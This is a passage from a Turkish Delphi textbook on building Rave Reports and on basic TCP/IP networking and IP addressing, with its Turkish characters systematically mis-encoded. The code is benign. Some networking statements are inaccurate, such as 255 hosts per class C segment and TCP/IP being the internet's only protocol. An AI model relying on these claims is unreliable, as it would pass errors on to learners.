çıktısı alabilmekteyiz. Aúa÷ıdaki adımları izleyerek “Rave” kontrolleriyle rapor dosyaları oluúturabilirsiniz. Birinci adımda formunuzun üzerine yazdıraca÷ınız tablo bilgilerine ulaúmak için “BDE” yapra÷ında bulunan “Table” (di÷er kaynaklarıda kullanabilirsiniz) kontrolünü sürükleyin. “DataBaseName” (gazi) ve “Table Name” (servis) özelliklerine tablonuza ait bilgileri girin. økinci adımda formunuza “Rave” yapra÷ında yer alan “RvDataSetConnection” kontrolünü sürükleyin (bu kontrol rapor ile tablo arasındaki ba÷lantıyı sa÷layacak). Bu kontrole ait “DataSet” özelli÷ine table nesnenizi aktarın (yazdırılacak kayıtlar belirlendi). Üçüncü adımda “Tools->Rave Designer” seçeneklerini seçerek raporun tasarımını oluúturaca÷ınız aúa÷ıdaki pencereyi açtırın. Rapor dosyasına ait tasarımı bu ekranda oluúturaca÷ız (yine bir ço÷unu kendisi yapacak). 273 “Rave Report 5.0” penceresi açıkken “File-New DataObject” menü adımlarını izleyerek aúa÷ıdaki pencerenin açılmasını sa÷layın. “Data Connections” penceresi içerisinde “Direct Data View” seçene÷ini seçerek “Next” dü÷mesine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencere tablo kayıtlarını gösteren “RvDataConnection” nesnelerini (forma alınan) listeleyecektir. Siz ilgili olan (birden fazlada olabilirdi) “RvDataConnection” seçene÷ini seçerek “Finish” dü÷mesine tıklayın. “Finish” dü÷mesine tıkladıktan sonra “Rave Reports 5.0” penceresine tekrar döneceksiniz. Bu pencerenin sa÷ tarafında yer alan “RaveProject” bölümüne dikkat edin. Alt adımlarında yer alan “DataView Dictionary” seçene÷ine tıklayarak “DataView1” sekmesini de açtırın. 274 Yapmıú oldu÷unuz ba÷lantı sonucunda tablonuzda yer alan tüm sütun baúlıkları bu pencerede listelenecektir. ùümdi “Tools->Report Wizard->Simple Table” menü adımları izleyerek aúa÷ıdaki pencereyi açtırın. “Simple Table” penceresi ba÷lantı kuraca÷ınız tablo kayıtlarını belirlemenizi sa÷layacak olan ekrandır. Birden fazla “Table” ile ba÷lantı sa÷layabilece÷iniz için bu pencerede ki “DataView” seçenekleri fazla olabilir. Kayıtlarınızın gösterildi÷i “DataView” seçene÷ini seçerek “Next” dü÷mesine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencereden raporunuzda göstermek istedi÷iniz sütunların isimlerini seçmenizi isteyecektir. “All” dü÷mesine 275 tıklayarak tamamını veya teker teker sütun isimlerine tıklayarak diledi÷iniz sütunları raporunuzda gösterebilirsiniz. “Next” dü÷mesine tıklayarak bir sonraki adıma geçin. Aúa÷ıdaki pencere açılacaktır. Bu pencereden sütunlarınızın rapor üzerindeki yerlerini ayarlayabilirsiniz. Pencerenin üst kısmında yer alan ok tüúlarıyla sütun baúlıklarınızı yukarı veya aúa÷ı do÷ru hareket ettirebilirsiniz. “Next” dü÷mesine tıklayarak bir sonraki aúamaya geçiniz. 276 Aúa÷ıdaki pencere açılacaktır. Bu pencereden Raporunuzun baúlı÷ı ile sayfa kenar boúluklarını ayarlayabilirsiniz. “Next” dü÷mesine basarak bir sonraki adıma geçin. Aúa÷ıdaki pencere açılacaktır. Bu pencereden raporunuza ait bölümler için biçim ayarlarını yapabilirsiniz (Her bölüm için farklı olabilir). “Baúlık” ayarlarını “Title Font” kısmından sütun etiket isimlerini “Caption Font” kısmından ve kayıtlarınızla ilgili font ayarlarını “Body 277 Font” kısmından yaparak “Generate” dü÷mesine tıklayın. Rapor tasarımınız “Rave Reports” penceresinde oluúacaktır. Son adım olarak oluúturdu÷unuz bu raporu “File->Save” menülerini izleyerek kaydedin. Bu dosyalar “rav” uzantılı olarak saklanacaktır (Oluúturdu÷unuz bu dosyayı projenizin bulundu÷u klasörün içerisine kaydederseniz,programınızı di÷er bilgisayarlara yükledi÷iniz zaman oluúabilecek problemlerin bir ço÷unu halletmiú olacaksınız). Programdan Rapor Dosyalarına Ulaúmak: Delphi uygulamalarından oluúturmuú oldu÷unuz “rav” uzantılı rapor dosyasına ulaúmak için “Rave” yapra÷ında yer alan “RvProject” kontrolüne ait “Execute” methodundan faydalanmalısınız. Aúa÷ıda bu adımlar sırasıyla anlatılmaktadır. Birinci adımda formunuza bir adet “Rave” yapra÷ında yer alan “RvProject” kontrolü yerleútirin. økinci adımda bu kontrole ait “ProjectFile” özelli÷ine tıklayarak daha önce kaydetmiú oldu÷unuz “rav” uzantılı dosyayı bulun. Son adım olarak aúa÷ıdaki kod satırını formunuza eklemiú oldu÷unuz button kontrolünün “OnClick” yordamına ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //Yazdır Penceresini Aç begin RvProject1.Execute; end; 278 ùimdi uygulamanızı çalıútırın. Button kontrolüne tıklarsanız “Yazdırma iúlemini yaptıracak olan aúa÷ıdaki “Output Options” penceresi açılacaktır. “Output Options” penceresinde “Print” i iúaretleyip “OK” basarsanız raporunuz yazıcıya gönderilecektir. ùayet baskı önizleme ekranına ulaúmak isterseniz, o zaman “Preview” seçene÷ini seçerek “OK” buttonuna tıklayınız. Ekran görüntünüz aúa÷ıdaki úekilde gerçekleúecektir. 279 Sütun De÷erleri øle Hesap Yapmak: Yukarıda oluúturdu÷umuz rapora ait sayısal sütun de÷erleriyle matematiksel hesaplar yapabilirsiniz. Aúa÷ıda bu husus adım adım izah edilmektedir. Birinci adımda raporunuza “Report” yapra÷ında yer alan “BandComponent” kontrolünden bir adet yerleútirin. “Band1” ismiyle raporunuza dahil olacaktır. Mous ile bu bandı seçip özellikler penceresinden “BandStyle” özelli÷ine tıklayın aúa÷ıdaki pencere açılacaktır. “Band Style Editor” penceresinde “Body Footer” CheckBox” ını iúaretleyerek “OK” dü÷mesine basınız. Bu adımda “Report” yapra÷ında yer alan “Calc Text Component” kontrolünden bir adet bu bandın üzerine çizin. “Calc Text Component” kontrolüne ait özellikler penceresinden “DataView” özelli÷ine “DataView1” kontrolünü, “DataField” özelli÷ine de “FATURATUTARI” sütununu aktarın. Son olarak “Calc Text Component” kontrolüne ait “Controller” özelli÷ine “DataView1DataBand” de÷erini aktarın. Son özellik hangi banda ait oldu÷unu belirlemek için ayarlandı. Artık uygulamanızı çalıútırabilirsiniz. Button kontrolüne tıkladı÷ınız zaman oluúacak rapor görüntünüz aúa÷ıda verilmiútir. 280 Görüldü÷ü gibi “FATURATUTARI” sütununa ait hücre de÷erleri toplanıp eklemiú oldu÷umuz yeni bileúende kullanıcıya gösterilmiútir. Hesaplanan Sütunlara Ait Biçimlendirme øúlemleri: Yukarıdaki raporda dikkat etiyseniz parasal bir hesap iúlemi yaptırıldı, fakat sonuç hiç anlaúılır de÷il. Bu yüzden úimdi gerçekleútirece÷imiz yöntemle bu de÷eri parasal formatta yazdıraca÷ız. Birinci adımda “Standart” yaprakta yer alan bir adet “Text Component” kontrolünü toplam aldırılan kontrolün soluna yerleútirerek “Text” özelli÷ine “Toplam Fatura Tutarı” içeri÷ini aktarın (etiket görüntüsü için yapıldı). økinci adımda “Calc Text Component” kontrolünü seçip “DisplayFormat” özelli÷ine “###,###,### TL” içeri÷ini aktarın. Kontrolünüzün içeri÷i parasal formata dönüúecektir. Yapmıú oldu÷unuz tüm de÷iúikliklerden sonra, “File->Save” komutunu verip de÷iúikliklerin “rav” uzantılı dosyanıza yansımasını sa÷layınız. Aksi takdirde sonuçlar istedi÷iniz gibi oluúmayacaktır. Programı çalıútırıp “Yazdır” dü÷mesine tıklarsanız rapor görüntünüz aúa÷ıdaki úekilde, parasal de÷erlerin formatlanmıú halde oluútu÷u bir görüntü halini alacaktır. 281 “Calc Text Component” Kontrolü ile Yapılabilecek Di÷er Hesaplamalar: Sütun toplamını aldırdı÷ınız bu kontrol ile tüm sütun de÷erleriyle ilgili “ortalama - max-min-Count” iúlemlerini de yaptırabilirsiniz. “Calc Text Component” kontrolünü seçip “Calc Type” özelli÷ine tıklarsanız di÷er seçeneklerine ulaúabilirsiniz. Tüm seçenekler aúa÷ıda tablo halinde verilmiútir. Calc Type øúlem ctSum Sütuna Ait Toplam De÷eri Hesaplar ctCount Satır Syısını Hesaplar ctMax Sütuda Yer Alan Maximum De÷eri Hesaplar ctMin Sütuda Yer Alan Minimum De÷eri Hesaplar ctAverage Sütun De÷erlerinin Ortalamasını Hesaplar Kayıtları Altı Çizili Hale Getirmek: “Drawing” yapra÷ında yer alan “Hline” kontrolünü kullanarak kayıtlarınızın altına çizgi çekebilirsiniz. 282 Bu kontrolden bir adet “DataView1DataBand” sütununa çizip uygulamanızı çalıútırınız. Sütun baúlıklarının altında yer alan çizgi nin “LineWidth” de÷eri “3” yapıldı÷ı için daha kalın basılmaktadır. Koúula Uyan Kayıtların Raporunu Oluúturmak: Bir çok durumda tabloda yer alan kayıtların tamamını de÷ilde belirtti÷iniz kritere uyan kayıtları raporlamak isteyeceksiniz (mesela sadece migros ma÷azasına ait kayıtları listele vs). Bu tip durumlar için “Query” kontrolünü (veya “Stored Procedure”) kullanmak en uygun yöntem olacaktır. ùimdi sizlere adım adım koúullu rapor oluúturma iúlemini anlataca÷ım. Birinci adımda formunuza bir adet “BDE” yapra÷ında yer alan “Query” kontrolü yerleútirin. økinci adımda “Query” kontrolünüzün “DataBaseName” özelli÷ine tablonuzun yer aldı÷ı aliasın ismini aktarın (gazi) Üçüncü adımda “Query” kontrolüne ait “SQL” özelli÷ine “Object Inspector” penceresinden aúa÷ıdaki sorgu komutlarını aktarın. 283 Dördüncü adımda formunuza “Rave” yapra÷ında yer alan “RvDataSetConnection” kontrolünden bir adet sürükleyip “DataSet” özelli÷ine “Query1” kontrolünü aktarın. Beúinci adımda “Tools->Rave Designer” menü adımlarını izleyerek “Rave Reports” penceresini açtırın. Altıncı adımda “File->New Data Object” menülerini izleyerek daha önce önceki örnekte açmıú oldu÷umuz “DataConnections” penceresine ulaúın. Yedinci adımda “Direct Data View” seçene÷ini seçerek bir sonraki pencereye geçin. Sekizinci adımda yeni açılan pencereden “RvDataSetConnection” ismini seçerek “Finish” dü÷mesine basın. Tüm sütun isimlerinizin listeye eklenmiú olması gerekecektir. Dokuzuncu adımda “Tools->Report Wizard->Simple Table” seçeneklerini izleyerek “Simple Table” penceresinde yer alan “DataView” ismini seçip bir sonraki adıma geçiniz. Onuncu adımda, açılan yeni pencereden raporunuzda yer almasını istedi÷iniz sütunları seçmeniz gerekecektir. Seçip bir sonraki pencereyi açtırın (tüm sütunları seçebilirsiniz). Onbirinci adımda, açılan yeni pencereden sütun yerlerinizi belirleyip bir sonraki pencereyi açtırın. Onikinci adımda rapor baúlı÷ınız ile sayfa kenar boúluklarını ayarlayıp bir sonraki pencereye ulaúınız. On üçüncü adımda, açılan yeni pencereden daha önce gösterildi÷i úekilde font ayarlarınızı yaparak “Generate” dü÷mesine basınız. Raporunuzun “rav” uzantılı dosyası oluúturulmuú oldu. Kaydedebilirsiniz. “File->Save” menülerini izleyerek dosyanızı kaydedin. 284 On beúinci adımda formunuza bir adet “Rave“ yapra÷ında yer alan “RvProject” kontrolü yerleútirerek “FileName” özelli÷ine kaydetti÷iniz “rav” uzantılı dosyanın yerini gösterin. On altıncı adımda “Query” kontrolünü seçip “Active” özelli÷ini “true” yapın. Son Olarak aúa÷ıdaki tasarımı oluúturup gerekli kodları “Unit” pencerenize ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); begin Query1.SQL.Clear; Query1.sql.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text; Query1.Open; RvProject1.Execute;//Raporu aç end; Programı çalıútırıp “Edit” kutusuna “MIGROS” yazıp button kontrolüne tıklayın. Sadece “MIGROS” ma÷azasına ait kayıtlar raporunuzda gözükecektir. 285 286 BÖLÜM 11 NETWORK PROGRAMCILIöI 287 288 Network Programcılı÷ına Giriú: Bu Bölümde a÷ uygulamaları üzerinde durulup gerekli açıklamalar yapılacaktır. Günümüzde küçük ölçekli firmalar bile úirket içi kullanımları için network ortamından faydalanmaktadır. Dolayısıyla bir kullanıcının girdi÷i bilgi di÷er bilgisayar tarafından anında kullanılmak istenmektedir. Bu tip durumlar için a÷ deste÷i olan, port iúlemlerini (dinleme veya gönderme) yapabilen uygulamalar geliútirmek zorunda kalacaksınız. Amacımız sizlere bahsetti÷imiz konularda yardımcı olmaktır. Bilgisayarların birbirleriyle haberleúebilmeleri için (insanların da öyle de÷ilmidir) ortak kullanabilecekleri bir dile ihtiyaç duyarlar. Bu olaya ortak protokol kullanımı ismini veriyoruz. Protokoller içerisinde Internet (buda en büyük a÷ ortamıdır) tede kullanılabilen “TCP/IP” en popüler olanıdır. Giden veri ile kaynak arasında kıyaslama yaptı÷ı için biraz a÷ır ama güvenli bir protokoldür. Internetin de tek kullanabildi÷i protokol budur. O zaman úöyle bir teori geliútirebiliriz, yapaca÷ınız uygulamalarda “TCP/IP” protokolünden faydalanan kontrolleri kullanırsanız, uygulamanızı internet üzerinden de çalıútırabilirsiniz. Di÷er protokoller den (“UDP” vs) “TCP/IP” ye göre daha hızlı fakat güvenli olmayan bir protokoldür. Bizim uygulamalarımızda internet te düúünüldü÷ü için tamamı “TCP/IP” protokolünü kullanan nesneler tarafından gerçekleútirilecektir. Aynı iúlemi di÷er protokollerle gerçekleútiren seçenekleriniz olacak, onları çözme iúlemini de sizlere bırakıyoruz (sonuçta kullanılan mantık aynı olacaktır). A÷ deste÷i olan programlarda dikkat edece÷iniz hususlar bulunmaktadır. Bunlardan birincisi kayıtlarla ilgili iúlemlerinizi muhakkak transaction kullanarak gerçekleútirin. Size aúırı derecede güvenlik sa÷layacaktır. økincisi farklı nesnelerle aynı port üzerinden kesinlikle iúlem yaptırmayın (eninde sonunda sıkıntı yaúayacaksınız). Üçüncüsü e÷er gerekmiyorsa Server üzerinden “OnLine” çalıúmayın (bu size hız kazandıracaktır). Dördüncüsü, úayet uyglamanız internete açılacaksa muhakkak “STATIC IP” numarası aldırın (internet servis sa÷layıcınıza baúvurmanız yeterli olacaktır). “TCP/IP” Kullanarak geliútirece÷iniz uygulamaları internet üzerinden (statik ip nin bulunmadı÷ı durumlarda) arkadaúınızla deneyecekseniz, yapmanız gereken iúlem internete ba÷landıktan sonra di÷er telefonla (tabi varsa, yoksa cebinizi kulanın) arkadaúınıza “IP” numaranızı bildirmek olmalıdır. Yetki sorununu aúıp di÷er bilgisayarın “IP” numarasını da biliyorsanız o bilgisayara yapamıyaca÷ınız hiç bir iúlem yok demektir. Kendi makinenizmiú gibi kullanabilirsiniz (bu husus örneklendirilecektir). 289 TCP/IP Protocollerine Genel Bir Bakıú: Bu bölümdeki amacım sizlere network dersi anlatıp canınızı sıkmak de÷il, Network hususunda bilgili de÷ilseniz direk di÷er konulara geçebilirsiniz. ùayet network programcısı olaca÷ım biraz bilgim artsın diyorsanız o zaman izahatlarıma biraz kulak vermenizi öneririm. “TCP/IP” ana hatlarıyla iki adet protokolden oluúmaktadır (alt ufak protokoller hariç). Birincisi “TCP” olarak adlandırdı÷ımız “Transmission Control Protocol”, ikincisi ise “IP” olarak adlandırdı÷ımız “Internet Protocol” ünden ibarettir. ùimdi sizlere bu protokollerin ana mantı÷ı hususunda bilgi vermeye çalıúaca÷ım. Bilgisayarlar arası veri transferi iúleminde süreklili÷i, bilgi veya donanım paylaúımını sa÷lamak üzere oluúturulan network-a÷ ortamlarında iletiúim protokol olarak adlandırılan yazılımlarla sa÷lanmaktadır. “TCP/IP” veri transferine olanak sa÷layan pek çok alt protokolü içerisinde barındıran bir takım ada gibidir. Gerek internet ortamında (WAN-Wide Area Network), gerekse yerel a÷ (LAN – Local Area Network) yapısında geniú bir kullanım alanına sahip olup tabiri caizse günümüz dünyasında insanlar arası iletiúimde ingilizce nin üstlendi÷i rolün bir benzerini, bilgisayarlar arası iletiúimde üstlenmektedir. “TCP/IP” ile konfigürasyonu yapılmıú bir a÷ ortamında , bilgisayarların tanımlanabilmesi için úu özelliklerin bilinmesi yeterli olacaktır. Bilgisayarın Adı Bilgisayarın MAC Adresi Bilgisayarın IP Adresi Bilgisayarın Subnet Mask de÷eri, Öncelikle belirtmek istedi÷im husus , “MAC” adresidir. Bu adres a÷ ortamına katılan bilgisayarın, a÷ adaptöründe (ethernet kartı- modem vs) olması gereken ve söz konusu bilgisayarı ortamda tanıtacak olan eúsiz (baúka bir bilgisayar kullanamaz) bir de÷erdir (Hexadecimal). Bir bilgisayarın “MAC” adresini ö÷renmek için “Start->Programs->Accessories->Command Prompt” adımlarını izleyebilirsiniz. Bu ekranda “ipconfig/all” yazıp enter tuúuna basarsanız, adaptör kartına ait tüm bilgileri kolayca ö÷renebilirsiniz. A÷ ortamına katılan bilgisayarların iletiúimi “MAC” adresleri arasında gerçekleúmektedir. Fakat kullanıcı bu adres de÷erini kullanarak haberleúmeye kalkarsa büyük olasılıkla hatalara sebebiyet verecektir. Bu yüzden “MAC” adresi ile “IP” (bu adres mac adresine göre daha anlaúılırdır) adresi arasında bir ba÷ kurma zorunlulu÷u do÷maktadır. 290 Bilgisayarda “TCP/IP” konfigürasyonunu gerçekleútirdi÷imiz zaman “MAC” adresi ile “IP” adresi arasında bir ba÷ kurmuú olmaktayız. Yani bizim “IP” numaramızı yazan bir kullanıcı, bu konfigürasyon sayesinde “IP” numaramızı kullanarak “MAC” numaramıza ulaúmaktadır. Bundan sonraki kısım ise bilgisayar içerisinde kullanılan paket yazılımlarına kalmaktadır. “IP” numarası yazılarak di÷er bilgisayara ba÷lanılmak istendi÷inde devreye “ARP” (Adress Resolation Protocol) protokolü girerek (“TCP/IP” içerisinde alt protokol olarak bulunur) belirtilen “IP” numarasının hangi bilgisayara (“MAC” adresine) ait oldu÷unu size bildirir. Adres tespit edildikten sonra kullandı÷ınız yazılımlarla istenildi÷i úekilde haberleúmek mümkün olacaktır. økinci olarak bilgisayarınız için kullanılan “IP Numarası” ile ismi arasındaki çözümleme iúleminden bahsedece÷im. Bilgisayarlarda “NETBIOS” ne “DNS” olmak üzere iki çeúit isimlendirme kullanılmaktadır. Örnek üzerinde izah edecek olursak, bilgisayarınızın isminin “ALBATROS” oldu÷unu varsayalım. Söz konusu bilgisayar internet ortamında www.deniz.com web adresine sahip úirketin “DENIZ.COM” isimli domain ortamına katılır ise aynı zamanda “albatros.deniz.com” DNS ismine de sahip olmuú olacaktır. Aynı domain üyesi di÷er bir bilgisayardan “albatros” isimli bilgisayarda paylaúıma açılmıú olan “Rapor2003” isimli klasöre ulaúmak için (o klasör içerisindeki di÷er elemanları görebilmesi için) “Start->Run” adımlarını izleyerek açılan pencereye aúa÷ıdaki komutu yazması yeterli olacaktır (Security sorununun olmadı÷ı varsayıldı). \\albatros\rapor2003 Network ortamında di÷er bir bilgisayara ait path yazılımı iki adet ters slaç ile baúlamak zorundadır hatırlatalım (Delphi 7 Kitabımızda bu konulara örneklendirmeler yapılmıútır). Burada ba÷lantı yolu olarak kullanılan isim 291 bilgisayarın “NETBIOS” ismidir.Aynı adres yazılımını aúa÷ıdaki úekilde de gerçekleútirebilirsiniz. Aralarındaki tek fark “.” Kullanılan adreslerin sadece “DNS” tarafından çözümlenebildi÷idir. “DNS” Domain Name System olarak adlandırılan ve 1980 lerde a÷ ortamındaki bilgisayar sayısında oluúan artma sonucu isimleme çözümlemelerinde oluúan yeni problemleri çözmeye yönelik oluúturulmuú olan bir veritabanıdır. øsimlendirme için “.” Kullanılmayan sistemlerde adres çözümlemek için microsoft tarafından geliútirilmiú ikinci yöntemse “WINS” olarak adlandırılmakta genellikle eskiye yönelik iúletim sistemlerinde yer alan isimlerin çözümlenebilmesi için kullanılmaktadır. Her iki isim çözümlemesi durumunda da kullanıcının belirtti÷i bilgisayar ismine karúılık gelen “IP” adresinin bulunması atılan ilk adım olacaktır. Söz konusu adres tespit edildi÷inde, bilgisayara ait “MAC” adresi kullanıcıya gönderilmektedir. Bu aúamada devreye “ARP” girerek “MAC” adresi için gerekli olan çözümlemeyi yapar. Artık iletiúim bu iki “MAC” adresinin bulundu÷u bilgisayarlar arasında gerçekleúecektir. ùayet biliniyorsa “IP Numarası” kullanılarak di÷er bilgisayar içerisinde paylaúıma açık klasörlere de ulaúılabilir. Yapmanız gereken tek úey “IP Numarası” yazıp ardından klasörün ismini girmekten ibaret olacaktır. “ALBATROS” isimli bilgisayarın “IP Numarası” 200.200.200.3” ise aúa÷ıdaki úekilde aynı klasöre ulaúılabilecektir. Adresi yazıp “OK” buttonuna tıklayınız (security sorunu yok sayıldı). 292 TCP/IP genel olarak 32-bit adresleme sistemi olarak tarif edilir. Burada belirtilmek istenen husus TCP/IP ile yapılandırılan bilgisayarın bir nevi etiketlendirildi÷idir. Öyleki söz konusu adreslemenin yapıldı÷ı bilgisayar ortamda benzersiz bir tanımlamaya sahip olacaktır. TCP/IP adresleme sistemi telefon numaralandırma sistemine benzer bir yapıya sahiptir. Örne÷in Ankara-Maltepe semtinde yer alan tüm telefon numaraları (090)(312)(231)(......) rakamlarını içerir. E÷er GÜMMF ne ulaúılmak istenirse sonuna (7400) eklemeniz yeterli olacaktır. Sonuç olarak Ankara úehri Maltepe semtinde bulunan tüm kullanıcıları tanımlayan kısım ile, GÜMMF’sini tanımlayan özel kısımdan oluúan bir sistem vardır. Dolayısıyla 090 312 231 7400 numaralı telefon bir tek kullanıcıda olabilir. Örne÷imizden yola çıkarak network ortamımızı açıklamaya çalıúacak olursak a÷ ortamına kattı÷ımız bilgisayarımıza verdi÷imiz “IP” adresinin bir kısmı içerisinde yer aldı÷ımız a÷ı tanımlarken (Network ID), ikinci kısımda bilgisayarımızı benzersiz yapacak olan özel bölümden (Host ID) ibaret olacaktır. ALBATROS isimli bilgisayara ait verileri aúa÷ıda vererek biraz beyin jimnasti÷i yapmaya çalıúalım. Kategori Sonuç Bilgisayar Adı: ALBATROS IP Numarası: 200.200.200.8 Subnet Mask 255.255.255.0 Hatırlatalım IP Numarası birbirinden nokta ile ayrılmıú dört farlı sayıdan oluúur. Aynı úekilde Subnet Mask de÷eride yine birbirlerinden nokta ile ayrılmıú 0-255 arası dört adet sayıdan oluúmaktadır. Yukarıdaki örne÷imiz için daha önceden bahsetti÷imiz de÷erler aúa÷ıda verilmiútir. Kategori Sonuç Network ID 200.200.200 Host ID 8 Subnet Mask 255.255.255.0 Sonuç olarak yukarıdaki de÷erlere sahip olan bir bilgisayar ile Router kullanmadan aynı “Network ID” ve aynı “Subnet Mask” de÷erlerine sahip tüm bilgisayarlar haberleúebilecektir (Host de÷erlerinin zaten aynı olması beklenemez). øki farklı bilgisayarın Router kullanmadan haberleúebilmesi için aynı segment içerisinde yer almaları gerekmektedir. ùimdi yukarıdaki bilgisayar ile aynı segmenti paylaúan di÷er bilgisyarları ve de÷erlerini belirleyelim. Tüm bilgisayarlara ait de÷erler aúa÷ıdaki tabloda verilmektedir. 293 Bilgisayar Adı MAC Adresi Network ID Farklı Farklı Aynı Albatros 00-00-21-50-D7-22 200.200.200 Di÷er Bilgisayar 00-00-21-36-7A-36 200.200.200 Host ID Subnet Mask Farklı Aynı 8 255.255.255.0 0-255 (8 hariç) 255.255.255.0 Buradaki MAC numarasının üretici firma tarafından verilen benzersiz bir numara oldu÷unu hatırlatalım. TCP/IP nin , 32 –bit adresleme sistemini kullandı÷ını daha önceki izahatlarımızda belirtmiútik. Yani 32 adet 0 ile 1 in yan yana yazılmıú halini düúünün. Aynen aúa÷ıda gösterildi÷i úekilde. 11001000110010001100100000001000 ùimdi bu yazımı her sekiz rakamdan sonra bir nokta koyarak biraz daha anlaúılır hale getirelim. 11001000.11001000.11001000.00001000 Yukarıda 4 octed (4 sekizli) ten oluúan “IP” numarası verilmiútir. Her sekizli 0255 arasında de÷er alabilecektir (ikilik sistemi onluk sisteme çevirece÷iz). Yani (11001000)2=1*2^7+1*2^6+0*2^5+0*2^4+1*2^3+0*2^2+0*2^1+0*2^=200 Sonuç IP Numarası=200.200.200.8 úeklinde olúacaktır. TCP/IP ile a÷ yapılandırması yaparsak 32-bit lik yöntemle kaç adet bilgisayar tanımlayabiliriz? Basit gibi görünen bu soru dikkat edilecek önemli hususları da beraberinde getirmekte, hemen izah edelim. Her bir sekizli minimum sıfır (0), maximum (255) de÷erini alabildi÷ine göre 256*256*256*256 adet bilgisayar adresi bulunacaktır. Bu adreslerin tamamının bilgisayarlar için kullanılabilmesi fiziksel açıdan mümkün olamamaktadır. Çünkü böyle bir adresleme ile tanımlanan tüm bilgisayarların birbirleri ile direk haberleúebilmesi sa÷lanacaktır. Tüm kurumların (gizli bilgileri olan kurumlarda dahil) a÷ ortamında birbirleriyle haberleúmesi önemli güvenlik sorunlarını ortaya çıkaracaktır. Bu ve benzeri di÷er sebeplerden dolayı farklı de÷erler için tanımlanmıú 5 (beú) de÷iúik “IP” sınıfı bulunmaktadır. Herbirinin baúlangıç de÷eri di÷erlerininkinden farklı olacaktır. Aúa÷ıda network ortamında kullanılabilen tüm “IP” sınıfları baúlangıç de÷erleriyle beraber tablo halinde sizlere sunulmuútur. Dikkatlice incelemenizi tavsiye ederim. 294 Class Baúlangıú Octed De÷eri A Class 1-126 B Class 128-191 C Class 192-223 D Class 224-239 E Class 240-254 Dikkat edin teorik olarak mümkün gözükmekle beraber ilk sekizli de÷erinin “0”veya “255” olması mümkün olamamaktadır. Sebebini izah etmek isterdim ama biraz teknik bir husus e÷er daha detaylı bilgi almak isterseniz “Windows 2003 Server” kitabımızdan faydalanabilirsiniz. A Class Bu sınıfa ait “IP” numaraları özellikleri aúa÷ıda verilmektedir. Network ID 1-126 Sadece ilk Sekizli Host ID 0-255 Son Üç Sekizli Örnek IP Numarası 121.12.5.85 - Subnet Mask 255.0.0.0 B Class Bu sınıfa ait “IP” numaraları özellikleri aúa÷ıda verilmektedir. Network ID 128-191 Sadece ilk øki Sekizli Host ID 0-255 Son øki Sekizli Örnek IP Numarası 165.200.99.3 - Subnet Mask 255.255.0.0 C Class Bu sınıfa ait “IP” numaraları özellikleri aúa÷ıda verilmektedir. Network ID 192-223 øllk Üç Sekizli Host ID 0-255 Son Sekizli Örnek IP Numarası 200.200.200.8 - Subnet Mask 255.255.255.0 Görüldü÷ü gibi “ALBATROS” isimli bilgisayarın yer aldı÷ı segment “C” sınıfı bir bölgede yer almaktadır. Yeri gelmiúken “ALBATROS” isimli bilgisayarın yer aldı÷ı segment içerisinde do÷rudan kaç bilgisayar birbiriyle haberleúebilir sorusunun yanıtı “Network ID” numaraları aynı olaca÷ı için de÷iúebilecek olan 295 sadece son sekizli olacaktır. Son sekizlinin de alabilece÷i de÷er 1-254 arası olaca÷ı için maximum 255 adet bilgisayar birbirleriyle haberleúebilir. Aynı örne÷i “B Class” ına ait bir “IP” numarası için yapacak olursak, aúa÷ıdaki örne÷i inceleyiniz. IP Numarası Subnet Mask :165.200.99.3 :255.255.0.0 Buradaki Network ID kısmı “165.200” tüm bilgisayarlarda aynı olaca÷ı için de÷iúecek olan kısım son iki sekizli olacaktır. Bu yüzden 256*254=65024 adet bilgisayar birbirleriyle do÷rudan haberleúebilecektir (254 de÷eri 0 ile 255 çıkarıldıktan sonra elde edilmiútir). Di÷er segmentler ile ancak Router cihazı kullanılarak haberleúilebilir (Bu tür ba÷lantılarda bilgisayarınızın daha a÷ır çalıútı÷ını göreceksiniz). ùayet programınızı internete açılmayan bir a÷ için yazacaksanız yukarıdaki ayarları firmaya ait Network mühendisinden yardım alarak gerçekleútirmelisiniz (belki de tamamını network mühendisi yapacaktır ama siz yinede iúinize yarayacak kadarını ö÷reniniz). E÷er internet üzerinden kullanılacaksa gerekli de÷erleri (IP Numarası-Subnet Mask vs) zaten ba÷lantıyı sa÷ladı÷ınız anda servis sa÷layıcınız tarafından otomatik olarak bilgisayarınıza aktarılacaktır. ùayet internet üzerinden devamlı olarak hizmet veren bir web Server uygulaması geliútirecekseniz, servis sa÷layıcınızdan bir adet static “IP” numarası satın almalısınız (aksi takdirde bilgisayarınızın IP numarası de÷iúebilece÷i için bilgisayarınızı kapatıp tekrar ba÷lanırsanız büyük olasılıkla sorunlarla karúılaúacaksınız). Buradan sonra gösterilecek olan kontroller anlatılan konuları dikkate alarak hesap yapmakta ona göre ba÷lantı iúlemlerini gerçekleútirebilmektedir. Bu konular üzerinde daha detaylı bilgi edinmek için www.prestigeturk.com adresi ile ba÷lantı kurabilir, veya piyasada bulunan “Windows 2003 Server” kitabımızı (Prestij Yayıncılık) temin edebilirsiniz. 296 Internet Kontrolleri: ùimdi sizlere internet üzerinde genel amaçlı kullanabilece÷iniz kontrollerden bahsedece÷im. Proje içerisinde “Internet” yapra÷ı altında bu kontrollere ulaúabilirsiniz. WebBrowser Kontrolü: Bu kontrol sayesinde web sayfaları arasında gezinebilir. østedi÷iniz sayfayı aktif hale getirebilirsiniz. Aúa÷ıda kontrol tarafından kullanılan özellikler izah edilmektedir. x WebBrowser1.Navigate Parametre ile belirtilen web sayfasına eriúmek için kullanılan methoddur. Aúa÷ıdaki úekilde kolayca kullanılabilir. procedure TForm1.FormCreate(Sender: TObject); begin WebBrowser1.Navigate('www.Prestigeturk.com'); end; Adres de÷erini string olarak girebilece÷iniz gibi aúa÷ıdaki úekilde formunuzun üzerindeki bir kontroldende aktarabilirsiniz. 297 procedure TForm1.FormCreate(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); end; ùatey olayı “ComboBox” kontrolünden faydalanarak gerçekleútirecekseniz. “OnClick” yordamını kullanmalısınız. procedure TForm1.ComboBox1Click(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); end; x WebBrowser1.GoHome Ana Sayfaya dönmek için kullanılan methoddur. Kastedilen ana sayfa “Internet Explorer” tarafından belirlenmiú olan sayfanın web adresidir. procedure TForm1.Button1Click(Sender: TObject); //Ana Syfaya 